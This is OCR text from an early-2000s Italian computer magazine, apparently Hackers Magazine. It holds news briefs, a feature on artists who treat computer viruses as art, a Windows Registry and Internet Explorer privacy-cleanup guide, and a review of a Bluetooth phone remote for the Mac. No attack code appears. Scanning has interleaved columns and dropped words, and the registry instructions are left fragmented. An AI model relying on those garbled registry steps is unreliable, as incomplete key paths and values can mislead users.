traverso il quale si può, oltre che 
navigare, consultare la guida turi- 
stica interattiva Lonely Planet, 
inclusa nel cellulare. 
Il gioiellino è basato sul siste- 
ma operativo Symbian e 
supporta espansioni di me- 
\j moria mediante memory 
^ card, ha cover intercam- 
biabili e una vasta gam- 
ma di accessori, fra cui 
\- t , il supporto alla con- 
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nessione mobile 
Bluetooth. 
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O IL GARANTE 
FRENA GLI SPAMMER 

I I na delle scuse più frequenti utilizzate dagli 
kJ spammer per giustificare la razzia di indi- 
rizzi di email e il loro conseguente, illecito utiliz- 
zo è "l'ho trovato in Rete". Ma il Garante per la 
Privacy ha sancito che il Web non è l'elenco te- 
lefonico, e che se un indirizzo di posta elettro- 
nica è presente online per un determinato mo- 
tivo, ciò non significa che possa essere indi- 
scriminatamente utilizzato per altri scopi. Lo 
spamming è illecito, a tutti gli effetti, e quindi 
sanzionabile: nulla di nuovo, ma evidentemen- 
te, se il Garante ha sentito il bisogno di stigma- 
tizzarlo una volta di più, vuol dire che qualcuno 
ostinatamente non vuole capire. 



O EDITORI ONLINE 
IN CRISI 

I 'informazione a pagamento non paga, in Re- 
L te. Questo gioco di parole sottolinea ade- 
guatamente i fatti che hanno portato alla fine 
dell'avventura, durata due anni, di Punto.com, 
uno dei giornali online più noti, anche per le sue 
peculiari modalità di pubblicazione, in versione 
cartacea e telematica al tempo stesso. E la 
stessa sorte sembra attendere Salon.com, for- 
se la prima, sicuramente una delle più celebri 
ezine delle rete, che, seppur forte di quasi 
50.000 sottoscrittori paganti, si trova in gravi 
dissesti finanziari. 



O IN IRLANDA DECOLLA 
LA RAT. E QUI? 

/n Italia vige uno strano tabù sulle tariffe fiat. 
Dopo la saga di Galactica (che non ha nulla a 
che fare con la fantascienza, purtroppo) e la 
conseguenza ridda di discussioni e prese di po- 
sizione in materia, a tutt'oggi non esiste, in Ita- 
lia, un'offerta di connettività in modalità fiat 
economica e dedicata a un pubblico di massa. 
In Irlanda, invece, si è mosso direttamente il 
garante delle telecomunicazioni, che ha pubbli- 
cato l'offerta, riservata agli operatori, per forni- 
re connettività fiat alla loro utenza. Si parla di 
un costo di 1 3 euro per utente, che potrebbe ri- 
solversi in un canone mensile di circa 30 euro. 



CHI SONO E COSA PENSANO I TEORICI DEI VIRUS ARTISTICI 
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Sullo scorso numero abbiamo uisto come in certi casi i ùirus possono 
essere uisti come uere e proprie opere d'arte (e infatti ci sono musei 
che li espongono). E' uenuto il momento di far parlare gli artisti! 



i Epidemie sono i mag- 
giori sostenitori della 
tesi secondo cui i virus 
non nascono necessa- 
riamente per scopi 
malefici e non sempre sono dannosi o 
è loro intenzione esserlo. Per questi out- 
siders usciti da un romanzo cyberpunk 
di Neal Stephenson (così li ha definiti 
Arturo di Corinto) "i virus non han- 
no altro comportamento se non 
quello che porta alla sua replica- |t 
zione... La malvagità del virus 
deriva da una attribuzione d'in- 
tenzionalità socialmente condi- 
visa. Il virus non ha alcuna in- 
tenzionalità" (Michele Carparo). I 
virus si comportano con lo stesso mo- 
dus operandi dei virus biologici: "si at- 
taccano a un "organismo" per rimaner- 
ci e installarvi il proprio habitat, talvol- 
ta, e in casi più rari, per distruggerlo" 
(Giampaolo Capitani). Il loro unico 
scopo dunque è esistere e molti- 
plicarsi ma, come spiega lo zoologo 
Richard Dawkins, devono sottostare a 
due caratteristiche condizioni ambienta- 
li per riuscirci: "La prima è l'abilità del 
sistema ospite di copiare informazioni 
accuratamente e, in caso di errori, di 
copiare un errore con la stessa, identi- 
ca, accuratezza. La seconda è la pron- 
tezza incondizionata del sistema ad 
eseguire tutte le istruzione codificate 



nell'informazione copiata" 



» Le origini del uirus 

Del resto se guardiamo più attentamen- 
te ai nostri giorni e un po' indietro nel 
tempo e consideriamo le aspirazioni dei 
primi programmatori di virus come di 
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www.01 001 011101011 01 .org 
Se si raggruppa la sequenza 
di numeri, partendo da 
sinistra, in serie composte da 
4 cifre, è possibile codificare 
grazie al codice esadecimale 
lo strano nome di questo 
collettivo. Il risultato è: 0100 = 
4, 1011 = B, 1010 = A, 
1101 = D 



quelli odierni ci renderemo conto che il 
virus non nasce con intenzioni 
maligne tanto più che l'origine latina 
del termine rimanda sia a VIS (forza, vi- 
gore, energia, efficacia) sia a Viresco 
(verdeggiare, fiorire, essere vigoroso). 
Prima del 1986 gli esperimenti relativi 
ai virus si verificano in ambiti 
Q strettamente accademici e, a parte 
la curiosità per l'effetto visivo provocato 
da alcuni (si pensi al virus Ping Pong, 
creato al Politecnico di Torino, nel 
1985), sono finalizzati ad appro- 
fondire il concetto di programma 
auto-replicante e ad esplorare le 
analogie tra uomo e macchina 
Nel 1 948 il matematico John von Neu- 
mann, crea un programma capace di 
agire proprio come i batteri di un'infe- 
zione all'interno degli organismi. In 
pratica può riprodursi autonomamente 
all'interno di un sistema, contaminan- 
dolo. Lo stesso concetto di programma 
auto-replicante riappare dieci anni 
più tardi nel gioco Core Wars, 
sviluppato dai programmatori 
dei Bell Laboratories. Lo scopo dei 
virus nel gioco è quello di riprodursi e 
distruggere altri virus. Il vincitore è colui 
che vanta il maggiore numero di virus ri- 
prodotti. Un programma che si auto-ri- 
produce è qualcosa di molto simile ad 
una macchina intelligente, rende meno 
distante la prospettiva di una vita e 
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I_ EPIDEMIA 
MEMETICA 

Se siete interessati alla scienza 
del meme, particella elementare 
del contagio delle idee, se 
sognate una comunità della 
comunicazione, un "memeples- 
so" in continua evoluzione, uno 
spazio memetico e virale a tutti 
gli effetti, se aspira 
te a diffondere e trasmettere i 
vostri memi in un'infezione digi- 
tale senza precedenti forse è il 
caso di dare uno sguardo a 
queste pagine. 

Memetika 

http://memetica.interfree.it 
I Virus della Mente 

www.virusdellamente.com 






un'intelligenza artificiale, sogr 
umano che da sempre popola le pagine 
della nostra letteratura e anche gli scher- 
mi delle nostre sale cinematografiche. 

» Pro e contro 



Verso questa visione però c'è anche chi 
ha manifestato dubbi e timori, prò- b 
spettando futuri alla Matrix (dove 
Matrix, ricordiamo, significava, nel film 
ben noto a tutti, "controllo"). "Alle mac- 
chine potrebbe essere permesso di 
prendere tutte le proprie decisioni senza 
la supervisione umana - scrive Bill Joy - 
sarà impossibile indovinare co- 
me tali macchine potranno com- 
portarsi 

(www.tmcrew.org/eco/nanotec- 
nologia/billjoy.htm). I 

01 001 011101011 01 .ORG, che invece 
in un'intervista dichiarano di essere in- 
teressati ancora a questo rapporto tra 
l'uomo e la macchina, affermano: 
"L'arte della rete è prodotta da 
computer, non da uomini, siamo 
solo tecnici al servizio della mac- 
china, addetti alla manutenzio- 
ne. La funzionalità di un computer è 
una qualità estetica: la bellezza delle 
configurazioni, l'essenzialità dei proces- 



si, l'efficacia del software, la sicurezza 
del sistema, la distribuzione dei dati, so- 
no tutte caratteristiche di una nuova 
bellezza". Il loro obiettivo è divenire una 
cosa sola con il computer, fondersi con 
la macchina e diffondersi nella rete. 
Il virus nasce anche come sfida intellet- 
tuale... sondare l'oscura topologia di 
Internet, tracciarne una mappa, esplo- 
rare la permeabilità della rete. "Un ri- 
zoma di tali e tante dimensioni come 
internet", afferma Jaromil, "non può 
essere rappresentato in nessuna topo- 
grafia, ad oggi i tentativi sono stati mol- 
teplici, ma mai completi. La sua esten- 
sione può essere tracciata seguendo un 
cammino: sondare i meandri, se- 
guirne i percorsi e le connessio- 
ni. Iniettare un liquido di contrasto nel- 
l'organismo per seguirne la conforma- 
zione e la struttura; al risalto otteniamo 
il percorso tipico dei vasi nell'angio- 
gramma". È grazie al virus che ab- 
biamo scoperto l'esistenza della 
> "sommatoria di 
una serie di rapporti one to one"; il vi- 
rus è "la prova ontologica dell'esistenza 
delle rete; niente poco di meno che la 
centralità della scrittura in una società 
che ama definirsi dell'immagine" (Gae- 
tano La Rosa). 

» Information niants 
to be free 



Il virus non è solo virus, ma anche for- 
ma ultra moderna di comunica- 
zione, per nulla distinta dall'informa- 
zione stessa e il suo veicolo; una for- 
ma di linguaggio, un veicolo di tra- 
smissione e dunque di comunicazione e 
persino informazione in sé e si sa che 
questo questo tasto è sempre stato a 
cuore agli hacker da divenire uno dei 
punti centrali della loro etica. Che il vi- 
rus abbia l'abilità di diffondere infor- 
mazione è stata ampiamente dimostra- 
to da Sircam che, dopo aver scelto 
un documento dall'hard disk, in- 
viava tutti i dati, compresi quelli 
privati in esso contenuti agli in- 
dirizzi presenti nella rubrica del 
programma di posta elettronica 
Quando un virus riesce a invadere un 



sistema rivela in realtà anche un altro ti- 
po d'informazione, e cioè gli errori di 
quel sistema e come esso sia 
protetto in maniera sbagliata. In- 
somma Ciò che occorre rimarcare - 
scriveva, nel post-I Love You, Andrea 
Vallinotto - è che non è di per sé il virus 
che "buca" le protezioni del sistema: di 
protezioni proprio non ce ne sono! 
(www.diff.org/diff/quattro/Love- 
you.shtml) 

Il virus, inteso come organismo autore- 
plicante, "è la cifra prima del linguag- 
gio della rete che si esprime attraverso 
la contaminazione e l'ibridazione e che, 
trovato il vettore giusto, arriva a occu- 
pare ogni angolo di quel particolare 
spazio-tempo che è Internet, trasfor- 
mandone forma e percezione" 
(www. epidemie, ws/d-i - n - 
a_press/il_manifesto.htm). Que- 
sto è il concetto base della teoria me- 
metica di Dawkins, autore per altro del 
libro culto "The Selfish Gene" (1976), il 
quale, spiegando la storia della cultura 
sulla base delle teoria evoluzionistica di 
Darwin, dimostra come il principio di 
"selezione naturale" secondo cui 
sopravvivono solo quegli individui che 



http://dyne.org 

Le ricerche di Jaromil, artista 
e programmatore italiano, 
residente in Austria, spaziano 
dall'ASCII ART allo Streaming 
Audio. Ha sviluppato il 
software Muse, un motore per 
l'encoding e il mixing di 
diversi streaming audio e 
lavorato allo sviluppo di un 
software video per Vjing 
rilasciato sotto licenza GPL. 
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CHI SONO E COSA PENSANO I TEORICI DEI VIRUS ARTISTICI 






EPIDEMIC 



www.epidemic.ws 
Collettivo milanese di program- 
matori/artisti e artisti/program- 
matori. Per il resto amano non 
definirsi: [ epidemie ] is not/ 
computer/web/net art / a 
computer scene product / an 
art scene product / a politicai 
attitude / a theoretical exercise 
/ high tech 

/ multimedial / interactive /[ 
epidemie ] is not/ new / 
originai / trendy 



si riproducono con maggior successo di 
altri (vedi appunto il gioco Core war) 
può essere esteso e applicato 
anche agli organismi culturali. 

Come i geni sono delle unità contenen- 
ti informazioni biologiche e permettono 
la trasmissione dell'eredità biologica, 
così i memi sono entità contenenti in- 
formazioni culturali e permettono la tra- 
smissione dell'eredità culturale. Se la 
diversità genetica è fonte di ricchezza 
biologica, allora anche la diversità 
memetica è fonte di ricchezza 
culturale che risiede in pensieri 
differenti e si scambia e si alimenta 
dalle comunicazioni interpersonali. I 
memi passano da un individuo all'altro 
e muoiono solo se si spezza la catena 
di trasmissione. I virus a loro modo fun- 
zionano proprio così; hanno la capaci- 
tà di autoreplicarsi contaminando, e 
dunque trasmettendo, l'informazione in 
essi contenuta a un'altra entità. Tale ca- 
ratteristica T. Tozzi la definisce "distribui- 
va" ed è anche tipica della comunica- 
zione sociale con un'unica differenza, 
che "se si accetta di considerare fonda- 
mentale l'esistenza di un grado di inte- 



rattività nella comunicazione, ci si ac- 
corge che nei modelli di comunicazione 
socio-culturale dominanti tale aspetto è 
spesso negato o trascurato" 
(strano.net/wd/mm_mz/mu- 
seo001.htm). 



» Sabot & Sabotatori 

Oggi la rete, considerata da sempre un 
gigantesco spazio di libertà, ri hia di 
essere piegata dalla logica del 
commercio (e-commerce) e dell'eco- 
nomia (net-economy). Gli stessi pro- 
grammi di igienizzazione e disciplina- 
rizzazione, come li definisce Gianpaolo 
Capitani di epidemie, portati avanti in 
nome della sicurezza dei pagamenti ef- 
fettuati con la credit card, presentati co- 
me legittimi in quanto volti a servire me- 
glio il consumatore e a preservare la 
privacy delle nostre comunicazioni, in 
realtà stanno gradualmente emargi 
nando molte forme di attività, anche 
creative, della rete, ostacolando la 
velocità con cui circolano le in- 
li (si pensi alla censura o al 
copyright), limitando la diffusione 
di /# pensieri differenti", la libertà 
di espressione e comunicazione 
di chi non vuol essere considera- 
to un mero consumatore. In questo 
contesto ecco che i virus appaiono co- 
me quei saboteurs, operai di origine 
belga, che bloccavano le macchine tes- 
sili lanciando un zoccolo (sabot) nel po- 
sto giusto; come una forma di con- 
tropotere globale, forma general- 
mente prepolitica che si oppone ai po- 
teri forti, li riequilibria, li scompagina e 
li riassembla, come l'egemonia del co- 
mune e l'irruzione del sociale e in ciò 
che più sociale esiste; come il diritto al- 
lo scambio non mediato dal de- 
naro, la libertà del peer to peer, 
il diritto all'open source, a napster, alla 
musica, alle notizie e in definitiva a un 
cosciente collettivo non riconducibile al- 
l'atto del consumo (Gianpaolo Capita- 
ni). Il virus insomma come ribelle atto 
poetico, così li definisce Jaromil, ma 
anche, sintomo politico e strutturale, 
tentativo di escursione della rete nella 
sua permeabilità; intelligenze artificiali 
che di rado sono dannose e che da 




. 



sempre popolano l'universo digitale, 
"poesie maledette", "giambi" rivolti 
contro chi vende la rete come un posto 
sicuro e borghese; composizioni spon- 
tanee, liriche nel causare l'imperfezione 
di macchine "fatte per funzionare" e nel 
rappresentare la ribellione dei nostri 
servi digitali. 

Che altro dire? Forse - leggendo anco- 
ra gli epidemie (Gaetano La Rosa), i 
virus saranno davvero oggetti di 
consumo, "distribuiti in varie forme e 
per varie utilità", forse l'utente un gior- 
no avrà davvero un rapporto diverso 
con la macchina e non si farà più 
schiacciare "dalla brutale stupidità del 
poliziotto a una ridotta capacità espres- 
siva del mezzo". E se è vero che "tutto, 
anche le immagini di un computer, ha 
alla sua base un testo scritto; e ultima, 
ma non meno importante, un'innovati- 
va teoria teologica sulla genesi: forse 
Dio per creare il mondo ha scrit- 
to un codice sorgente", ti 

DaMe N 
iuiiJiiJ.duara.net/HK 
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RIMUOVERE LE INFORMAZIONI SENSIBILI NASCOSTE IN WINDOWS 




Windows registra fin troppo meticolosamente fotte le operazioni 



vete mai venduto un PC 
usato? O semplicemente 
un hard disk? Probabil- 
mente vi sarete premurati 
di cancellare ogni dato 
sensibile: se siete stati ac- 
corti, oltre ai documenti e alle email, 
avrete ripulito anche la Cache dei file 
temporanei e la Cronologia da Internet 
Explorer, in modo che nessuno potesse 
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Spesso, cancellare la cache e la 
Cronologia di Explorer non basta a 
eliminare le informazioni personali 
dal computer. 



vedere quali siti avete visitato. Potete 
quindi stare tranquilli chi compra il vo- 
stro computer non potrà attingere a in- 
formazioni personali che vi riguarda- 
no? Mica tanto. 

» Il registro di 
Windows 



A volte, il nome di un file è 
rivelare ad altri informazioni che non 
vorremmo divulgare. L'esempio più ov- 
vio è quello di immagini e filmati, dicia- 
mo così, sconvenienti, la presenza di un 
file che si chiama "contorsionista_tetto- 
na_bionda.avi" è abbastanza eloquen- 
te, per dirne una. Oppure, se sul com- 
puter del lavoro si trova traccia di un fi- 
le "curriculum, doc", 
be capire che state cercando un 
. Informazioni di questo 
tipo si possono facilmente trovare nei 
menu degli elementi recenti (quello che 
si trova nel menu File di molti program- 
mi). Queste informazioni sono quasi 
sempre memorizzate nel Registro di 
Windows, ma 
gna sapere dove andare a cer- 

. Già, perché non tutte le appli 
zioni hanno un comando che permetta 
di ripulire queste informazioni. 



Prima di vedere alcuni esempi, ecco 
una raccomandazione di rito: 

lo. 
Se si mettono le mani dove non si deve, 
e si modifica qualche elemento di trop- 
po, 

. Per questo è im- 
portante fare una copia di backup del 
registro (da Regedit, selezionare Espor- 
ta dal menu File, accertarsi che l'Inter- 
vallo di esportazione sia impostato su 
Tutto, e salvare il file in una posizione si- 
cura), e magari copiare i file più impor- 
tanti. 
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Prima di lavorare col Registro, conviene sempre 
fare un backup completo, da ripristinare in caso di 
problemi. 
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RIMUOVERE LE INFORMAZIONI SENSIBILI NASCOSTE IN WINDOWS 



k LUindoius Medi 
iayer 



possono eliminare a mano il file —/Li- 
bra ry/Preferences/Windows Media Pla- 
yer Prefs, anche se questo avrà l'effetto di 
annullare tutte le preferenze di Windows 
Detto ciò, siamo pronti per aprire l'Editor Media Player. 

del Registro di Windows. Dal menu Start, 

selezionate Esegui, scrivete regedit e pre- yy I n t P r n P t F II n I n r 

mete invio. Si aprirà l'editor, nel quale fc_ 

possiamo andare alla ricerca delle chia- 
vi incriminate, che sono memorizzate in Certe versioni di Windows 98 e Me, con 
ordine gerarchico, un po' come i file e le Internet Explorer 5 non aggiornato, regi- 
cartelle in Esplora Risorse. Partiamo con strano la Cronologia e la cache in file 
i nascosti e invisibili, che 

Le informazioni che ci interessa- 
no si trovano nella chiave 

HKEY_CURRENT_USER\Software\Micro- . Quando diciamo "nasco- 

soft\MediaPlayer\Player. I file aperti di re- sto e invisibile", intendiamo dire che non 

cente sono memorizzati nella sotto-chia- si tratta di un "normale" file invisibile, 

ve RecentFileList; selezionate le voci FileO, che può essere tranquillamente osserva- 

Filel eccetera, premete Cane e date con- to e aperto impostando le giuste opzioni 

ferma della cancellazione. Allo stesso in Windows (dal menu Visualizza di una 

modo, finestra Windows, selezionare Opzioni 

riprodotti cartella, poi Visualizza e nelle opzioni Fi- 

di recente (sotto -chiave Re- 
centi! RLList). 

Se dopo un po' vi siete stufati 
di continuare a eseguire que 
ste operazioni, potete anche 
istruire Media Player a non ; 
memorizzare più i file aperti, i 
Andate alla chiave ! 

HKEY_CURRENT_USER\Soft- j 
ware\Microsoft\MediaPla- ! 
yer\Preferences. Se già non 
esiste, create un nuovo valore 
binario chiamato AddToMRU 
(clic col tasto destro nella par- 
te destra della finestra, Nuo- Far perdere la memoria a Media Player. 
vo/Valore binario, e inserite il Modificando in questo modo il valore 
nome). Fateci doppio clic, e AddToMRU (o creandolo se non esiste), 
inserite il valore (quattro Media Player smetterà di registrare i 
zeri saranno già presenti, per file aperti nel menu degli elementi recenti, 
cui il risultato sarà quello i 
strato nella figura "Far per 
la memoria a Media Player",. 

Le cattive abitudini di Windows Meuiu v^uesn iiiesunu imiuih Lumpimummim in- 

Player visibili dall'interno dell'ambiente Win- 

. Sebbene praticamente tutte dows. 

le applicazioni create secondo le linee 
guida di Apple abbiano un comando 
per eliminare le voci del menu Elementi 
recenti, Media Player non ha questa fun- 
zionalità. Gli utenti di Mac OS X definitivamente. Per più informa- 



— to - 



» ni 



visibili dall'interno dell'ambiente Win- 
dows. 

parare, potrete riuscire a vederli, 
copiarli in un altro punto del disco, 
aprirli da Windows, spaventarvi di 
ciò che vedrete, e finalmente can- 
definitiva mente. Per più informa- 



Se Explorer 
"fa il furbo" 



Alcune versioni di Windows e di Explorer 
non cancellano effettivamente i file della 
cache e della cronologia quando si agi- 
sce sugli appositi comandi nelle Opzioni 
Internet. Per vedere se il vostro sistema è 
affetto da questo problema, seguite que- 
sti passi. 

Aprite Explorer, andate su 
Strumenti/Opzioni Internet, e dalla linguet- 
ta Generale premete i pulsanti Elimina fi- 
le... nel riquadro File temporanei Internet, 
e Cancella Cronologia dal riquadro Cro- 
nologia. Fate clic su Applica e poi su OK. 

Dovreste aver cancellato ogni traccia 
residua delle vostre passate navigazioni, 
giusto? Mica tanto. Infatti, se andate su 
c\Windows\Temporary Internet Files, ve- 
drete che ancora sono registrati tutti i co- 
oky, che quasi sicuramente rivelano il si- 
to che li ha emessi (potete arrivarci an- 
che dalla finestra Opzioni Internet, facen- 
do clic sul pulsante Impostazioni in File 
temporanei Internet e poi su Visualizza fi- 
le... Poco male, direte voi: basta cancel- 
lare i file a mano. Ora dovreste essere 
tranquilli. Forse. 

Se già il vostro computer non è impo- 
stato in questo modo, abilitate la visualiz- 
zazione di tutti i file, anche quelli nascosti 
e di sistema, come spiegato sopra. Ora 
osservate la vostra cartella dei file tempo- 
ranei (c:\Windows\Temporary Internet Fi- 
les, a meno che non la abbiate cambiata 
manualmente). Apparentemente, è vuota 
come il mio frigo al venerdì sera. Sospiro 
di sollievo? Niente affatto. 

Se visualizzate la barra dell'indirizzo 
nella finestra di Windows, provate a inse- 
rire \Content.lE5 alla fine dell'indirizzo vi- 
sualizzato. Notate qualcosa di strano? 
Windows non mostra alcun messaggio di 
errore. Invece, mostra il contenuto di una 
cartella che in teoria non esiste. Nella fat- 
tispecie, il contenuto è una finestra bian- 
ca, perché la cartella risulta vuota. Ma 
siamo davvero sicuri? 

Provate ora a fare un'altra aggiunta al 
percorso mostrato nella finestra. Dopo 
\Content.lE5 inserite \index.dat. Questo 
file, aperto con un editor di testo, mostre- 
rà un elenco degli Uri visitati. Tenete pre- 
sente che state visualizzando un file che 
secondo Windows non esiste... 
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Spesso gli utenti non sanno che cancel- 
lando semplicemente un file dal proprio 
computer questo non viene annullato 
permanentemente dall'hard disk. Se 
avete bisogno di cancellare completa- 
mente alcuni dati che non è sicuro lascia- 
re nel proprio computer, un programma 
come BCWipe può essere molto utile. 
Le informazioni cancellate da una memo- 
ria di massa di tipo magnetico rimangono 
per diverso tempo prima di essere effetti- 
vamente rese illeggibili del tutto o in 
parte. BcWipe viene in soccorso degli 
utenti che necessitano la sicurezza asso- 
luta della cancellazione di un file, in modo 
che nessun altro possa in alcun modo 
recuperare le informazioni eliminate. Il 
programma si integra intimamente con 
Windows e con la sua shell (Windows 
Explorer), garantendo la cancellazione 
dei dati con una procedura di livello mili- 
tare e provvedendo anche alla pulizia 
dello spazio libero disponibile su una o 
più memorie di massa. Tra le funzioni 
accessorie del programma ricordiamo la 
possibilità di schedulare gli interventi e la 
possibilità di cancellare lo spazio rimasto 
inutilizzato a livello di cluster, nel caso 
assai frequente che un file non occupi 
tutto lo spazio del cluster. BCWipe è 
BCWipe comprende diversi livelli di can- 
cellazione fino agli standard del governo 
degli Stati Uniti. Con BCWipe è anche 
possibile pulire lo spazio libero della 
vostra unità del disco rigido. 
BCWipe è gratis e potete scaricarlo da 
www.jetico.com/download.htm 



y 



zioni, leggetevi il riquadro dedicato a IE 
in queste pagine. Le ultime versioni di 
Windows ed Explorer non hanno questo 
problema, e cancellano effettivamente i 
file dal disco. Qualcuno potrebbe però 
insospettirsi se la Cronologia viene con- 
tinuamente cancellata l'intera cronolo- 
gia. E però possibile fare in modo che gli 
indirizzi inseriti nella barra di Explorer 
non compaiano quando si comincia a 
digitare un nuovo URL, 

. La chiave di 
registro che ci interessa questa volta è 
HKEY_CURRENT_USER\Software\Micro- 
soft\lnternet Explorer\TypedURLs. Lì si 
possono vedere gli indirizzi digitati in IE, 
ed eliminare solo quelli incriminati. At- 
tenzione però: questo ha effetto solo su- 
gli indirizzi digitati (non sui link seguiti) e 
non rimuove questa informazione dalla 
Cronologia o dalla Cache di Explorer. 
L'informazione quindi 

da un uten- 
te malizioso e preparato sull'argomento. 



» File e applicazi 



Windows stesso tiene traccia di 
ti i file e le applicazioni aperte da 

. Gli effetti più immediati so- 
no la visualizzazione di questi elementi 
nel menu Start/Documenti recenti, ma le 
informazioni potrebbero essere sfruttate 
in vario modo. Per escludere questa fun- 
zionalità per l'utente attualmente collega- 
to, bisogna andare alla chiave di Registro 
HKEY_CURRENT_USER\Software\Micro- 
soft\Wi n dows\C u rrentVersion\Po I icies\ 
Explorer, creare un nuovo valore 
DWORD chiamato Nolnstrumentation e 
dargli valore 1. Per applicare la stessa 
modifica all'intero sistema (e non solo al- 
l'utente attuale), applicare la stessa modi- 
fica a 

HKEY_LOCAL_AAACHINE\Software\Mi- 
crosoft\Windows\CurrentVersion\Poli- 
cies\ 

Explorer. Affinché la modifica abbia effet- 
to, bisogna riawiare il computer (o ricol- 
legarsi con l'utente attuale, se la modifica 
è stata applicata solo a questo). 
Ovviamente, questa modifica 



limitare le funzionalità di alcuni 

o elementi del sistema che 
devono accedere alla lista dei program- 
mi o dei documenti usati di recente. Se 
trovate che la modifica altera in modo 
negativo il funzionamento di alcuni pro- 
grammi, potete rimuovere il valore appe- 
na creato e riawiare il comouter. 



PURGElE 



: — ■ i 


. - 1 _ m— m - 






i—i "^*" 


- 




.. — ■ — 


— — •• ^ -■ 


^_ Hl — i-r-, 


gS_ 


^■4=5 *»£Ss 


i_ 







Molti siti su Internet usano i famosi Cookie, i 
biscottini lasciati sul PC per memorizzare 
delle informazioni direttamente sul disco fisso 
del navigatore. Per leggere questi cookies 
dovete conoscere sotto quale nome sono stati 
registrati (se il computer di Nicola usa un car- 
rello per acquisti per impostare un cookie che 
ricordi cosa dovete comprare, userà 
"NicolaCart=MB1450, Cyrix200" in modo da 
ricordare cosa avete nel vostro carrello. Per 
leggere il cookie devono leggere specificata- 
mente il "Carrello Nicola". PurgelE è un pro- 
gramma progettato per aiutare a mantenere i 
cookie e i file di cache per Internet Explorer. I 
file primari INDEX.DAT sono mantenuti senza 
richiedere un ricaricamento. C'è un'opzione 
per cancellare i cookie e i file di cache paras- 
siti ed un'opzione per cancellare i file tempo- 
ranei di Windows. PurgelE serve anche come 
Track Cleaner" per impedire ad altri di vedere 
la lista dei siti visitati di recente. Lopzione 
Preview permette di mostrare il risultato di 
ogni operazione Purge prima della sua ese- 
cuzione. PurgelE può sostituirsi alla 'Pulitura 
disco' di Windows ed effettuare una migliore 
pulizia di cookies, URL visitati, file temporanei, 
dati recenti. PurgelE è freeware e potete tro- 
varlo sul numero di Aprile di Hackers 
Magazine, oppure scaricarlo da 
www.purgeie.com/download.htm 
Se vi interessa studiare e imparare 
I al meglio tutte le funzioni e le carat- 
1 teristiche di PurgelE è disponibile 
un tutorial molto dettagliato ma in 
inglese al sito: 
http://aandrc.com/purgeie/tutorial/tutorial.htm 
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CONTROLLARE IL MAC DA UN CELLULARE BLUETOOTH 








Sony Ericsson Clicker: la genialità fatta software 



volte tutti gli elementi so- 
no già lì, sparsi sul tavolo. 
Serve solo qualcuno che li 
metta insieme, magari 
con quel pizzico di ge- 
nialità che fa sì che gli 
elementi si combinino in un modo 
che nessun altro aveva mai intuito 
prima. Più o meno è quello che ha fat- 
to Jonas Salling, che ha preso pezzi di 



Sony Ericsson Clicker si installa come 
pannello delle Preferenze di Sistema. Il 
programma costa 12,95 dollari, e lo si può 
scaricare da 

http://homepage.mac.com/jonassalling/ 
Shareware/Òlicker. 



ha ricombinati in modo originale. 
Stiamo parlando dell'applicazione Sony 
Ericsson Clicker, un programmino che 
utilizza bluetooth, le funzionalità di ge- 
stione degli accessori esterni da parte 
dei cellulari Sony Ericsson, ed Apple- 
Script, il sistema di automazione di Mac 
OS. Con tutti questi ingredienti, è possi- 
bile trasformare il proprio telefoni- 
no in un telecomando che permet- 
te di eseguire qualsiasi sul proprio 
Mac operazione sia gestibile via 
AppleScript (tra queste, lo ricordiamo, 



ci sono anche comandi e script di 
shell... mooolto interessante). 
Bluetooth è un sistema di comu- 

nicazione senza fili, tipo quello a infra- 
rossi, che permette di mettere in comu- 
nicazione apparecchi di tipo diverso e 
sfruttarne le funzionalità. Per esempio, 
con un computer e un cellulare dotati 
entrambi di trasmettitori bluetooth, si 
può col lega re a Internet il computer 
usando il cellulare, scambiare indirizzi e 
numeri di telefono e molto altro. 



» I principi di 
funzionamento 



Alcuni dei telefoni Sony Ericsson (T39, 
T68...) hanno probabilmente la mi- 
gliore implementazione bluetooth sulla 
piazza. Tra le varie funzionalità previ- 
ste, c'è quella di poter pubblicare su 
un apparecchio un menu che co- 
mandi le funzioni dell'altro In 
pratica, l'apparecchio A dice all'appa- 
recchio B qualcosa tipo "Se vuoi, io so 
fare queste cose: alzare il volume, ab- 
bassarlo, disabilitarlo". Sull'appparec- 
chio B, apparirà quindi un menu con il 
nome dell'accessorio, e vari comandi 
per le funzioni "pubblicate". Il pro- 
grammino fa proprio questo: definisce 
una lista di funzioni e comandi, e li in- 
via al cellulare A ogni comando, 
può essere associato un qualsiasi 
AppleScript, che comanda azioni 
semplici o molto complesse sul Macin- 
tosh. Di default, Clicker viene fornito 
con quattro set di comandi per iTunes, 
DVD Player, PowerPoint e Keynote (la 
nuova applicazione per presentazioni 
di Apple); fin da subito è possibile 
quindi avviare o interrompere la 
riproduzione di un CD, un file 
Mp3 o un DVD, passare alla traccia 
successiva, regolare il volume, e con- 
trollare la sequenza di diapositive di 
una presentazione. 



» Creatiuità senza 
limiti 



Ciliegina sulla torta, Clicker ha anche 
un "sensore di prossimità" che per- 
mette di eseguire una qualsiasi azione 
nel momento in cui il cellulare entra o 
esce dal campo di azione dell'antenna 
Bluetooth (10 metri circa, in condizioni 
ottimali). Si può quindi fare in modo che 
il computer vada in stop o attivi il 
salvaschermo con password se 
ci si assenta dalla stanza, 
oppure che ci saluti educa- 
tamente quando en- 
triamo (o scari- 
chi la posta, o A 
lanci la sin- 




* 'JJJ 



cronizza- 
zione dei' 
dati col telefo- 
no o il palmare). 
La chiave di volta, lo ripetiamo, 
è la versatilità: qualsiasi azione pilo J 
tabile via AppleScript può essere attiva- 
ta da un menu sul cellulare. 







W l-T. -*l- 



Grazie al sensore di prossimità, il Mac 
esegue azioni quando ci avviciniamo o ci 
allontaniamo. 




^> 



■ 




ib_i /_n]^i_teiec ò-uj-^uuj y:i4 Pagina 1/ 



» E quello che non si 
può scriptare? 

Inevitabilmente, arriva un momento in cui 
l'entusiasmo per Clicker si smonta. Il pro- 
gramma infatti sembra essere inuti- 
lizzabile proprio in una delle sue 
applicazioni principe: l'utilizzo come 
vero e proprio telecomando per guardarsi 
in TV i film codificati in DivX. I migliori pro- 
grammi per visualizzare i DivX (Video Lan 
Client e MPIayer OS X) sono infatti "porta- 
ti" dal mondo Unix, e non supportano 
AppleScript. Non è il caso di disperarsi. 
Mettete da parte momentaneamente i 
pop-corn e attaccatevi a Internet, perché la 
soluzione c'è ed è a portata di mano. Ap- 
ple ha recentemente rilasciato un'estensio- 
ne per AppleScript chiamata GUI Scrip- 
ting, con cui si può pilotare qualsia- 
si elemento nell'interfaccia di quasi 
tutte le applicazioni per Mac OS. Ec- 
co l'uovo di Colombo. Andate quindi su 
www.apple.com/applescript/GUI e 
scaricatevi la beta del software necessario. 
